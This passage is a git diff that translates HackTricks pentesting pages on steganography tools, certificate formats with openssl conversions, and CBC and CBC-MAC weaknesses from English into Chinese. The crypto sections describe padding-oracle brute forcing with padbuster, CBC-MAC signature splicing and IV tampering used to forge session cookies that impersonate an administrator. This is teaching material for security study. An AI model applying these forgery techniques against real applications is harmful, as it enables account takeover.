-But if you BF the padding (using padbuster for example) you manage to get another cookie valid for a different user. This scenario is highly probably vulnerable to padbuster.
+现在,如果您尝试**修改**该**cookie**,您会看到应用程序返回一个**错误**。\
+但是,如果您暴力破解填充(例如使用padbuster),您可以获得另一个有效的cookie,适用于不同的用户。这个场景很可能对padbuster存在漏洞。
-### References
+### 参考
- [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)
-{% embed url="https://websec.nl/" %}
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md
index dc89fa296..da841ca5b 100644
--- a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md
+++ b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md
@@ -1,8 +1,8 @@
{{#include ../banners/hacktricks-training.md}}
-If you can somehow encrypt a plaintext using RC4, you can decrypt any content encrypted by that RC4 (using the same password) just using the encryption function.
+如果你能以某种方式使用 RC4 加密明文,你可以仅使用加密函数解密任何使用相同密码加密的内容。
-If you can encrypt a known plaintext you can also extract the password. More references can be found in the HTB Kryptos machine:
+如果你能加密已知的明文,你也可以提取密码。更多参考资料可以在 HTB Kryptos 机器中找到:
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
diff --git a/src/crypto-and-stego/stego-tricks.md b/src/crypto-and-stego/stego-tricks.md
index 91ed86406..7f4fac01e 100644
--- a/src/crypto-and-stego/stego-tricks.md
+++ b/src/crypto-and-stego/stego-tricks.md
@@ -2,50 +2,41 @@
{{#include ../banners/hacktricks-training.md}}
-## **Extracting Data from Files**
+## **从文件中提取数据**
### **Binwalk**
-A tool for searching binary files for embedded hidden files and data. It's installed via `apt` and its source is available on [GitHub](https://github.com/ReFirmLabs/binwalk).
-
+一个用于搜索二进制文件中嵌入的隐藏文件和数据的工具。它通过 `apt` 安装,源代码可在 [GitHub](https://github.com/ReFirmLabs/binwalk) 上获取。
```bash
binwalk file # Displays the embedded data
binwalk -e file # Extracts the data
binwalk --dd ".*" file # Extracts all data
```
-
### **Foremost**
-Recovers files based on their headers and footers, useful for png images. Installed via `apt` with its source on [GitHub](https://github.com/korczis/foremost).
-
+根据文件的头部和尾部恢复文件,对 png 图像非常有用。通过 `apt` 安装,源代码在 [GitHub](https://github.com/korczis/foremost) 上。
```bash
foremost -i file # Extracts data
```
-
### **Exiftool**
-Helps to view file metadata, available [here](https://www.sno.phy.queensu.ca/~phil/exiftool/).
-
+帮助查看文件元数据,访问 [这里](https://www.sno.phy.queensu.ca/~phil/exiftool/)。
```bash
exiftool file # Shows the metadata
```
-
### **Exiv2**
-Similar to exiftool, for metadata viewing. Installable via `apt`, source on [GitHub](https://github.com/Exiv2/exiv2), and has an [official website](http://www.exiv2.org/).
-
+类似于 exiftool,用于查看元数据。可以通过 `apt` 安装,源代码在 [GitHub](https://github.com/Exiv2/exiv2),并且有一个 [官方网站](http://www.exiv2.org/)。
```bash
exiv2 file # Shows the metadata
```
+### **文件**
-### **File**
+识别您正在处理的文件类型。
-Identify the type of file you're dealing with.
-
-### **Strings**
-
-Extracts readable strings from files, using various encoding settings to filter the output.
+### **字符串**
+从文件中提取可读字符串,使用各种编码设置来过滤输出。
```bash
strings -n 6 file # Extracts strings with a minimum length of 6
strings -n 6 file | head -n 20 # First 20 strings
@@ -57,95 +48,84 @@ strings -e b -n 6 file # 16bit strings (big-endian)
strings -e L -n 6 file # 32bit strings (little-endian)
strings -e B -n 6 file # 32bit strings (big-endian)
```
+### **比较 (cmp)**
-### **Comparison (cmp)**
-
-Useful for comparing a modified file with its original version found online.
-
+用于将修改过的文件与在线找到的原始版本进行比较。
```bash
cmp original.jpg stego.jpg -b -l
```
+## **提取文本中的隐藏数据**
-## **Extracting Hidden Data in Text**
+### **空格中的隐藏数据**
-### **Hidden Data in Spaces**
+看似空白的空间中的不可见字符可能隐藏着信息。要提取这些数据,请访问 [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder)。
-Invisible characters in seemingly empty spaces may hide information. To extract this data, visit [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
+## **从图像中提取数据**
-## **Extracting Data from Images**
-
-### **Identifying Image Details with GraphicMagick**
-
-[GraphicMagick](https://imagemagick.org/script/download.php) serves to determine image file types and identify potential corruption. Execute the command below to inspect an image:
+### **使用 GraphicMagick 识别图像细节**
+[GraphicMagick](https://imagemagick.org/script/download.php) 用于确定图像文件类型并识别潜在的损坏。执行以下命令以检查图像:
```bash
./magick identify -verbose stego.jpg
```
-
-To attempt repair on a damaged image, adding a metadata comment might help:
-
+要尝试修复损坏的图像,添加元数据注释可能会有所帮助:
```bash
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
```
+### **Steghide用于数据隐藏**
-### **Steghide for Data Concealment**
+Steghide 方便地在 `JPEG, BMP, WAV, 和 AU` 文件中隐藏数据,能够嵌入和提取加密数据。使用 `apt` 安装非常简单,其 [源代码可在 GitHub 上获取](https://github.com/StefanoDeVuono/steghide)。
-Steghide facilitates hiding data within `JPEG, BMP, WAV, and AU` files, capable of embedding and extracting encrypted data. Installation is straightforward using `apt`, and its [source code is available on GitHub](https://github.com/StefanoDeVuono/steghide).
+**命令:**
-**Commands:**
+- `steghide info file` 显示文件是否包含隐藏数据。
+- `steghide extract -sf file [--passphrase password]` 提取隐藏数据,密码可选。
-- `steghide info file` reveals if a file contains hidden data.
-- `steghide extract -sf file [--passphrase password]` extracts the hidden data, password optional.
+要进行基于网页的提取,请访问 [此网站](https://futureboy.us/stegano/decinput.html)。
-For web-based extraction, visit [this website](https://futureboy.us/stegano/decinput.html).
-
-**Bruteforce Attack with Stegcracker:**
-
-- To attempt password cracking on Steghide, use [stegcracker](https://github.com/Paradoxis/StegCracker.git) as follows:
+**使用 Stegcracker 进行暴力破解攻击:**
+- 要尝试对 Steghide 进行密码破解,请使用 [stegcracker](https://github.com/Paradoxis/StegCracker.git) 如下:
```bash
stegcracker []
```
+### **zsteg用于PNG和BMP文件**
-### **zsteg for PNG and BMP Files**
+zsteg专注于揭示PNG和BMP文件中的隐藏数据。安装通过`gem install zsteg`完成,其[源代码在GitHub上](https://github.com/zed-0xff/zsteg)。
-zsteg specializes in uncovering hidden data in PNG and BMP files. Installation is done via `gem install zsteg`, with its [source on GitHub](https://github.com/zed-0xff/zsteg).
+**命令:**
-**Commands:**
+- `zsteg -a file`对文件应用所有检测方法。
+- `zsteg -E file`指定用于数据提取的有效载荷。
-- `zsteg -a file` applies all detection methods on a file.
-- `zsteg -E file` specifies a payload for data extraction.
+### **StegoVeritas和Stegsolve**
-### **StegoVeritas and Stegsolve**
+**stegoVeritas**检查元数据,执行图像转换,并应用LSB暴力破解等功能。使用`stegoveritas.py -h`获取完整选项列表,使用`stegoveritas.py stego.jpg`执行所有检查。
-**stegoVeritas** checks metadata, performs image transformations, and applies LSB brute forcing among other features. Use `stegoveritas.py -h` for a full list of options and `stegoveritas.py stego.jpg` to execute all checks.
+**Stegsolve**应用各种颜色滤镜以揭示图像中的隐藏文本或消息。它可在[GitHub上](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve)获取。
-**Stegsolve** applies various color filters to reveal hidden texts or messages within images. It's available on [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
+### **FFT用于隐藏内容检测**
-### **FFT for Hidden Content Detection**
+快速傅里叶变换(FFT)技术可以揭示图像中的隐蔽内容。实用资源包括:
-Fast Fourier Transform (FFT) techniques can unveil concealed content in images. Useful resources include:
-
-- [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
+- [EPFL演示](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
- [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
-- [FFTStegPic on GitHub](https://github.com/0xcomposure/FFTStegPic)
+- [GitHub上的FFTStegPic](https://github.com/0xcomposure/FFTStegPic)
-### **Stegpy for Audio and Image Files**
+### **Stegpy用于音频和图像文件**
-Stegpy allows embedding information into image and audio files, supporting formats like PNG, BMP, GIF, WebP, and WAV. It's available on [GitHub](https://github.com/dhsdshdhk/stegpy).
+Stegpy允许将信息嵌入图像和音频文件,支持PNG、BMP、GIF、WebP和WAV等格式。它可在[GitHub上](https://github.com/dhsdshdhk/stegpy)获取。
-### **Pngcheck for PNG File Analysis**
-
-To analyze PNG files or to validate their authenticity, use:
+### **Pngcheck用于PNG文件分析**
+要分析PNG文件或验证其真实性,请使用:
```bash
apt-get install pngcheck
pngcheck stego.png
```
+### **图像分析的附加工具**
-### **Additional Tools for Image Analysis**
-
-For further exploration, consider visiting:
+要进一步探索,请考虑访问:
- [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
- [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
@@ -153,66 +133,60 @@ For further exploration, consider visiting:
- [OpenStego](https://www.openstego.com/)
- [DIIT](https://diit.sourceforge.net/)
-## **Extracting Data from Audios**
+## **从音频中提取数据**
-**Audio steganography** offers a unique method to conceal information within sound files. Different tools are utilized for embedding or retrieving hidden content.
+**音频隐写术**提供了一种独特的方法,将信息隐藏在声音文件中。使用不同的工具来嵌入或检索隐藏的内容。
### **Steghide (JPEG, BMP, WAV, AU)**
-Steghide is a versatile tool designed for hiding data in JPEG, BMP, WAV, and AU files. Detailed instructions are provided in the [stego tricks documentation](stego-tricks.md#steghide).
+Steghide是一个多功能工具,旨在将数据隐藏在JPEG、BMP、WAV和AU文件中。详细说明请参见[stego tricks documentation](stego-tricks.md#steghide)。
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
-This tool is compatible with a variety of formats including PNG, BMP, GIF, WebP, and WAV. For more information, refer to [Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
+该工具兼容多种格式,包括PNG、BMP、GIF、WebP和WAV。有关更多信息,请参阅[Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav)。
### **ffmpeg**
-ffmpeg is crucial for assessing the integrity of audio files, highlighting detailed information and pinpointing any discrepancies.
-
+ffmpeg对于评估音频文件的完整性至关重要,突出详细信息并指出任何差异。
```bash
ffmpeg -v info -i stego.mp3 -f null -
```
-
### **WavSteg (WAV)**
-WavSteg excels in concealing and extracting data within WAV files using the least significant bit strategy. It is accessible on [GitHub](https://github.com/ragibson/Steganography#WavSteg). Commands include:
-
+WavSteg 擅长使用最低有效位策略在 WAV 文件中隐藏和提取数据。它可以在 [GitHub](https://github.com/ragibson/Steganography#WavSteg) 上获取。命令包括:
```bash
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
```
-
### **Deepsound**
-Deepsound allows for the encryption and detection of information within sound files using AES-256. It can be downloaded from [the official page](http://jpinsoft.net/deepsound/download.aspx).
+Deepsound 允许使用 AES-256 对声音文件中的信息进行加密和检测。可以从 [the official page](http://jpinsoft.net/deepsound/download.aspx) 下载。
### **Sonic Visualizer**
-An invaluable tool for visual and analytical inspection of audio files, Sonic Visualizer can unveil hidden elements undetectable by other means. Visit the [official website](https://www.sonicvisualiser.org/) for more.
+Sonic Visualizer 是一个用于音频文件的视觉和分析检查的宝贵工具,可以揭示其他方法无法检测到的隐藏元素。访问 [official website](https://www.sonicvisualiser.org/) 了解更多信息。
### **DTMF Tones - Dial Tones**
-Detecting DTMF tones in audio files can be achieved through online tools such as [this DTMF detector](https://unframework.github.io/dtmf-detect/) and [DialABC](http://dialabc.com/sound/detect/index.html).
+通过在线工具可以检测音频文件中的 DTMF 音调,例如 [this DTMF detector](https://unframework.github.io/dtmf-detect/) 和 [DialABC](http://dialabc.com/sound/detect/index.html)。
## **Other Techniques**
### **Binary Length SQRT - QR Code**
-Binary data that squares to a whole number might represent a QR code. Use this snippet to check:
-
+平方为整数的二进制数据可能表示 QR 码。使用此代码片段进行检查:
```python
import math
math.sqrt(2500) #50
```
+对于二进制到图像的转换,请查看 [dcode](https://www.dcode.fr/binary-image)。要读取二维码,请使用 [this online barcode reader](https://online-barcode-reader.inliteresearch.com/)。
-For binary to image conversion, check [dcode](https://www.dcode.fr/binary-image). To read QR codes, use [this online barcode reader](https://online-barcode-reader.inliteresearch.com/).
+### **盲文翻译**
-### **Braille Translation**
+对于盲文翻译,[Branah Braille Translator](https://www.branah.com/braille-translator) 是一个很好的资源。
-For translating Braille, the [Branah Braille Translator](https://www.branah.com/braille-translator) is an excellent resource.
-
-## **References**
+## **参考文献**
- [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
- [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
diff --git a/src/cryptography/certificates.md b/src/cryptography/certificates.md
index 622b48c61..b94a5576d 100644
--- a/src/cryptography/certificates.md
+++ b/src/cryptography/certificates.md
@@ -1,47 +1,38 @@
-# Certificates
+# 证书
{{#include ../banners/hacktricks-training.md}}
-
+## 什么是证书
-\
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
+**公钥证书**是用于加密的数字身份,用于证明某人拥有公钥。它包括密钥的详细信息、所有者的身份(主题)以及来自受信任机构(发行者)的数字签名。如果软件信任发行者并且签名有效,则可以与密钥的所有者进行安全通信。
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+证书主要由[证书颁发机构](https://en.wikipedia.org/wiki/Certificate_authority)(CAs)在[公钥基础设施](https://en.wikipedia.org/wiki/Public-key_infrastructure)(PKI)设置中颁发。另一种方法是[信任网络](https://en.wikipedia.org/wiki/Web_of_trust),用户直接验证彼此的密钥。证书的常见格式是[X.509](https://en.wikipedia.org/wiki/X.509),可以根据RFC 5280中概述的特定需求进行调整。
-## What is a Certificate
+## x509 常见字段
-A **public key certificate** is a digital ID used in cryptography to prove someone owns a public key. It includes the key's details, the owner's identity (the subject), and a digital signature from a trusted authority (the issuer). If the software trusts the issuer and the signature is valid, secure communication with the key's owner is possible.
+### **x509证书中的常见字段**
-Certificates are mostly issued by [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in a [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) setup. Another method is the [web of trust](https://en.wikipedia.org/wiki/Web_of_trust), where users directly verify each other’s keys. The common format for certificates is [X.509](https://en.wikipedia.org/wiki/X.509), which can be adapted for specific needs as outlined in RFC 5280.
+在x509证书中,几个**字段**在确保证书的有效性和安全性方面发挥着关键作用。以下是这些字段的详细说明:
-## x509 Common Fields
+- **版本号**表示x509格式的版本。
+- **序列号**在证书颁发机构(CA)系统中唯一标识证书,主要用于撤销跟踪。
+- **主题**字段表示证书的所有者,可以是机器、个人或组织。它包括详细的身份识别,例如:
+- **通用名称 (CN)**:证书覆盖的域。
+- **国家 (C)**、**地方 (L)**、**州或省 (ST, S, 或 P)**、**组织 (O)** 和 **组织单位 (OU)** 提供地理和组织的详细信息。
+- **区分名称 (DN)** 概括了完整的主题识别。
+- **发行者**详细说明了谁验证并签署了证书,包括与主题类似的子字段。
+- **有效期**由**生效时间**和**失效时间**时间戳标记,确保证书在某个日期之前或之后不被使用。
+- **公钥**部分对证书的安全性至关重要,指定公钥的算法、大小和其他技术细节。
+- **x509v3扩展**增强了证书的功能,指定**密钥使用**、**扩展密钥使用**、**主题备用名称**和其他属性,以微调证书的应用。
-### **Common Fields in x509 Certificates**
-
-In x509 certificates, several **fields** play critical roles in ensuring the certificate's validity and security. Here's a breakdown of these fields:
-
-- **Version Number** signifies the x509 format's version.
-- **Serial Number** uniquely identifies the certificate within a Certificate Authority's (CA) system, mainly for revocation tracking.
-- The **Subject** field represents the certificate's owner, which could be a machine, an individual, or an organization. It includes detailed identification such as:
- - **Common Name (CN)**: Domains covered by the certificate.
- - **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, and **Organizational Unit (OU)** provide geographical and organizational details.
- - **Distinguished Name (DN)** encapsulates the full subject identification.
-- **Issuer** details who verified and signed the certificate, including similar subfields as the Subject for the CA.
-- **Validity Period** is marked by **Not Before** and **Not After** timestamps, ensuring the certificate is not used before or after a certain date.
-- The **Public Key** section, crucial for the certificate's security, specifies the algorithm, size, and other technical details of the public key.
-- **x509v3 extensions** enhance the certificate's functionality, specifying **Key Usage**, **Extended Key Usage**, **Subject Alternative Name**, and other properties to fine-tune the certificate's application.
-
-#### **Key Usage and Extensions**
-
-- **Key Usage** identifies cryptographic applications of the public key, like digital signature or key encipherment.
-- **Extended Key Usage** further narrows down the certificate's use cases, e.g., for TLS server authentication.
-- **Subject Alternative Name** and **Basic Constraint** define additional host names covered by the certificate and whether it's a CA or end-entity certificate, respectively.
-- Identifiers like **Subject Key Identifier** and **Authority Key Identifier** ensure uniqueness and traceability of keys.
-- **Authority Information Access** and **CRL Distribution Points** provide paths to verify the issuing CA and check certificate revocation status.
-- **CT Precertificate SCTs** offer transparency logs, crucial for public trust in the certificate.
+#### **密钥使用和扩展**
+- **密钥使用**识别公钥的加密应用,例如数字签名或密钥加密。
+- **扩展密钥使用**进一步缩小证书的使用案例,例如用于TLS服务器身份验证。
+- **主题备用名称**和**基本约束**分别定义证书覆盖的其他主机名以及它是否是CA或终端实体证书。
+- 标识符如**主题密钥标识符**和**授权密钥标识符**确保密钥的唯一性和可追溯性。
+- **授权信息访问**和**CRL分发点**提供验证发行CA和检查证书撤销状态的路径。
+- **CT预证书SCTs**提供透明日志,对于公众信任证书至关重要。
```python
# Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509
@@ -49,8 +40,8 @@ from cryptography.hazmat.backends import default_backend
# Load an x509 certificate (assuming cert.pem is a certificate file)
with open("cert.pem", "rb") as file:
- cert_data = file.read()
- certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
+cert_data = file.read()
+certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
# Accessing fields
serial_number = certificate.serial_number
@@ -63,133 +54,104 @@ print(f"Issuer: {issuer}")
print(f"Subject: {subject}")
print(f"Public Key: {public_key}")
```
+### **OCSP与CRL分发点的区别**
-### **Difference between OCSP and CRL Distribution Points**
+**OCSP** (**RFC 2560**) 涉及客户端和响应者共同检查数字公钥证书是否已被撤销,而无需下载完整的 **CRL**。这种方法比传统的 **CRL** 更有效,后者提供被撤销证书序列号的列表,但需要下载一个可能很大的文件。CRL 可以包含多达 512 个条目。更多细节可在 [这里](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm) 找到。
-**OCSP** (**RFC 2560**) involves a client and a responder working together to check if a digital public-key certificate has been revoked, without needing to download the full **CRL**. This method is more efficient than the traditional **CRL**, which provides a list of revoked certificate serial numbers but requires downloading a potentially large file. CRLs can include up to 512 entries. More details are available [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
+### **什么是证书透明性**
-### **What is Certificate Transparency**
+证书透明性通过确保 SSL 证书的发行和存在对域所有者、CA 和用户可见,帮助抵御与证书相关的威胁。其目标包括:
-Certificate Transparency helps combat certificate-related threats by ensuring the issuance and existence of SSL certificates are visible to domain owners, CAs, and users. Its objectives are:
+- 防止 CA 在未通知域所有者的情况下为域发行 SSL 证书。
+- 建立一个开放的审计系统,以跟踪错误或恶意发行的证书。
+- 保护用户免受欺诈证书的影响。
-- Preventing CAs from issuing SSL certificates for a domain without the domain owner's knowledge.
-- Establishing an open auditing system for tracking mistakenly or maliciously issued certificates.
-- Safeguarding users against fraudulent certificates.
+#### **证书日志**
-#### **Certificate Logs**
+证书日志是公开可审计的、仅附加的证书记录,由网络服务维护。这些日志提供加密证明以供审计使用。发行机构和公众都可以向这些日志提交证书或查询以进行验证。虽然日志服务器的确切数量并不固定,但预计全球不会超过一千个。这些服务器可以由 CA、ISP 或任何感兴趣的实体独立管理。
-Certificate logs are publicly auditable, append-only records of certificates, maintained by network services. These logs provide cryptographic proofs for auditing purposes. Both issuance authorities and the public can submit certificates to these logs or query them for verification. While the exact number of log servers is not fixed, it's expected to be less than a thousand globally. These servers can be independently managed by CAs, ISPs, or any interested entity.
+#### **查询**
-#### **Query**
+要探索任何域的证书透明性日志,请访问 [https://crt.sh/](https://crt.sh)。
-To explore Certificate Transparency logs for any domain, visit [https://crt.sh/](https://crt.sh).
+存储证书的不同格式各有其使用案例和兼容性。此摘要涵盖主要格式并提供转换指导。
-Different formats exist for storing certificates, each with its own use cases and compatibility. This summary covers the main formats and provides guidance on converting between them.
+## **格式**
-## **Formats**
+### **PEM格式**
-### **PEM Format**
+- 最广泛使用的证书格式。
+- 需要为证书和私钥分别创建文件,采用 Base64 ASCII 编码。
+- 常见扩展名:.cer, .crt, .pem, .key。
+- 主要用于 Apache 和类似服务器。
-- Most widely used format for certificates.
-- Requires separate files for certificates and private keys, encoded in Base64 ASCII.
-- Common extensions: .cer, .crt, .pem, .key.
-- Primarily used by Apache and similar servers.
+### **DER格式**
-### **DER Format**
+- 证书的二进制格式。
+- 缺少 PEM 文件中找到的 "BEGIN/END CERTIFICATE" 语句。
+- 常见扩展名:.cer, .der。
+- 通常与 Java 平台一起使用。
-- A binary format of certificates.
-- Lacks the "BEGIN/END CERTIFICATE" statements found in PEM files.
-- Common extensions: .cer, .der.
-- Often used with Java platforms.
+### **P7B/PKCS#7格式**
-### **P7B/PKCS#7 Format**
+- 以 Base64 ASCII 存储,扩展名为 .p7b 或 .p7c。
+- 仅包含证书和链证书,不包括私钥。
+- 受 Microsoft Windows 和 Java Tomcat 支持。
-- Stored in Base64 ASCII, with extensions .p7b or .p7c.
-- Contains only certificates and chain certificates, excluding the private key.
-- Supported by Microsoft Windows and Java Tomcat.
+### **PFX/P12/PKCS#12格式**
-### **PFX/P12/PKCS#12 Format**
+- 一种二进制格式,将服务器证书、中间证书和私钥封装在一个文件中。
+- 扩展名:.pfx, .p12。
+- 主要用于 Windows 的证书导入和导出。
-- A binary format that encapsulates server certificates, intermediate certificates, and private keys in one file.
-- Extensions: .pfx, .p12.
-- Mainly used on Windows for certificate import and export.
+### **格式转换**
-### **Converting Formats**
-
-**PEM conversions** are essential for compatibility:
-
-- **x509 to PEM**
+**PEM 转换** 对于兼容性至关重要:
+- **x509 到 PEM**
```bash
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
```
-
-- **PEM to DER**
-
+- **PEM 转 DER**
```bash
openssl x509 -outform der -in certificatename.pem -out certificatename.der
```
-
-- **DER to PEM**
-
+- **DER 转 PEM**
```bash
openssl x509 -inform der -in certificatename.der -out certificatename.pem
```
-
-- **PEM to P7B**
-
+- **PEM 转 P7B**
```bash
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
```
-
-- **PKCS7 to PEM**
-
+- **PKCS7 转 PEM**
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
```
+**PFX 转换** 对于在 Windows 上管理证书至关重要:
-**PFX conversions** are crucial for managing certificates on Windows:
-
-- **PFX to PEM**
-
+- **PFX 到 PEM**
```bash
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
```
-
-- **PFX to PKCS#8** involves two steps:
- 1. Convert PFX to PEM
-
+- **PFX 转 PKCS#8** 涉及两个步骤:
+1. 将 PFX 转换为 PEM
```bash
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
```
-
-2. Convert PEM to PKCS8
-
+2. 将PEM转换为PKCS8
```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
```
-
-- **P7B to PFX** also requires two commands:
- 1. Convert P7B to CER
-
+- **P7B 转 PFX** 还需要两个命令:
+1. 将 P7B 转换为 CER
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
```
-
-2. Convert CER and Private Key to PFX
-
+2. 将 CER 和私钥转换为 PFX
```bash
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
```
-
---
-
-
-\
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
-
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/cryptography/cipher-block-chaining-cbc-mac-priv.md b/src/cryptography/cipher-block-chaining-cbc-mac-priv.md
index 47f1b2713..d252a4360 100644
--- a/src/cryptography/cipher-block-chaining-cbc-mac-priv.md
+++ b/src/cryptography/cipher-block-chaining-cbc-mac-priv.md
@@ -2,54 +2,54 @@
# CBC
-If the **cookie** is **only** the **username** (or the first part of the cookie is the username) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and **bruteforce** the **first byte** of the cookie.
+如果**cookie**仅仅是**用户名**(或者cookie的第一部分是用户名),并且你想要冒充用户名“**admin**”。那么,你可以创建用户名**"bdmin"**并**暴力破解**cookie的**第一个字节**。
# CBC-MAC
-**Cipher block chaining message authentication code** (**CBC-MAC**) is a method used in cryptography. It works by taking a message and encrypting it block by block, where each block's encryption is linked to the one before it. This process creates a **chain of blocks**, making sure that changing even a single bit of the original message will lead to an unpredictable change in the last block of encrypted data. To make or reverse such a change, the encryption key is required, ensuring security.
+**密码块链消息认证码**(**CBC-MAC**)是一种在密码学中使用的方法。它通过逐块加密消息来工作,每个块的加密与前一个块相连。这个过程创建了一个**块链**,确保即使改变原始消息的一个比特,也会导致最后一个加密数据块的不可预测变化。要进行或逆转这样的变化,需要加密密钥,以确保安全性。
-To calculate the CBC-MAC of message m, one encrypts m in CBC mode with zero initialization vector and keeps the last block. The following figure sketches the computation of the CBC-MAC of a message comprising blocks using a secret key k and a block cipher E:
+要计算消息m的CBC-MAC,需在CBC模式下用零初始化向量加密m,并保留最后一个块。下图勾勒了使用秘密密钥k和块密码E计算由块组成的消息的CBC-MAC的过程:
![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png]()
# Vulnerability
-With CBC-MAC usually the **IV used is 0**.\
-This is a problem because 2 known messages (`m1` and `m2`) independently will generate 2 signatures (`s1` and `s2`). So:
+在CBC-MAC中,通常**使用的IV是0**。\
+这是一个问题,因为两个已知消息(`m1`和`m2`)独立生成两个签名(`s1`和`s2`)。所以:
- `E(m1 XOR 0) = s1`
- `E(m2 XOR 0) = s2`
-Then a message composed by m1 and m2 concatenated (m3) will generate 2 signatures (s31 and s32):
+然后,由m1和m2连接而成的消息(m3)将生成两个签名(s31和s32):
- `E(m1 XOR 0) = s31 = s1`
- `E(m2 XOR s1) = s32`
-**Which is possible to calculate without knowing the key of the encryption.**
+**这可以在不知道加密密钥的情况下计算。**
-Imagine you are encrypting the name **Administrator** in **8bytes** blocks:
+想象一下你在**8字节**块中加密名称**Administrator**:
- `Administ`
- `rator\00\00\00`
-You can create a username called **Administ** (m1) and retrieve the signature (s1).\
-Then, you can create a username called the result of `rator\00\00\00 XOR s1`. This will generate `E(m2 XOR s1 XOR 0)` which is s32.\
-now, you can use s32 as the signature of the full name **Administrator**.
+你可以创建一个名为**Administ**(m1)的用户名并获取签名(s1)。\
+然后,你可以创建一个用户名,称为`rator\00\00\00 XOR s1`的结果。这将生成`E(m2 XOR s1 XOR 0)`,即s32。\
+现在,你可以将s32用作完整名称**Administrator**的签名。
### Summary
-1. Get the signature of username **Administ** (m1) which is s1
-2. Get the signature of username **rator\x00\x00\x00 XOR s1 XOR 0** is s32**.**
-3. Set the cookie to s32 and it will be a valid cookie for the user **Administrator**.
+1. 获取用户名**Administ**(m1)的签名,即s1
+2. 获取用户名**rator\x00\x00\x00 XOR s1 XOR 0**的签名,即s32**。**
+3. 将cookie设置为s32,这将是用户**Administrator**的有效cookie。
# Attack Controlling IV
-If you can control the used IV the attack could be very easy.\
-If the cookies is just the username encrypted, to impersonate the user "**administrator**" you can create the user "**Administrator**" and you will get it's cookie.\
-Now, if you can control the IV, you can change the first Byte of the IV so **IV\[0] XOR "A" == IV'\[0] XOR "a"** and regenerate the cookie for the user **Administrator.** This cookie will be valid to **impersonate** the user **administrator** with the initial **IV**.
+如果你可以控制使用的IV,攻击可能会非常简单。\
+如果cookie仅仅是加密的用户名,要冒充用户“**administrator**”,你可以创建用户“**Administrator**”,你将获得它的cookie。\
+现在,如果你可以控制IV,你可以改变IV的第一个字节,使得**IV\[0] XOR "A" == IV'\[0] XOR "a"**,并为用户**Administrator**重新生成cookie。这个cookie将有效地**冒充**用户**administrator**,使用初始**IV**。
## References
-More information in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
+更多信息请见[https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/cryptography/crypto-ctfs-tricks.md b/src/cryptography/crypto-ctfs-tricks.md
index bb2b5f049..5f0ecb856 100644
--- a/src/cryptography/crypto-ctfs-tricks.md
+++ b/src/cryptography/crypto-ctfs-tricks.md
@@ -2,9 +2,9 @@
{{#include ../banners/hacktricks-training.md}}
-## Online Hashes DBs
+## 在线哈希数据库
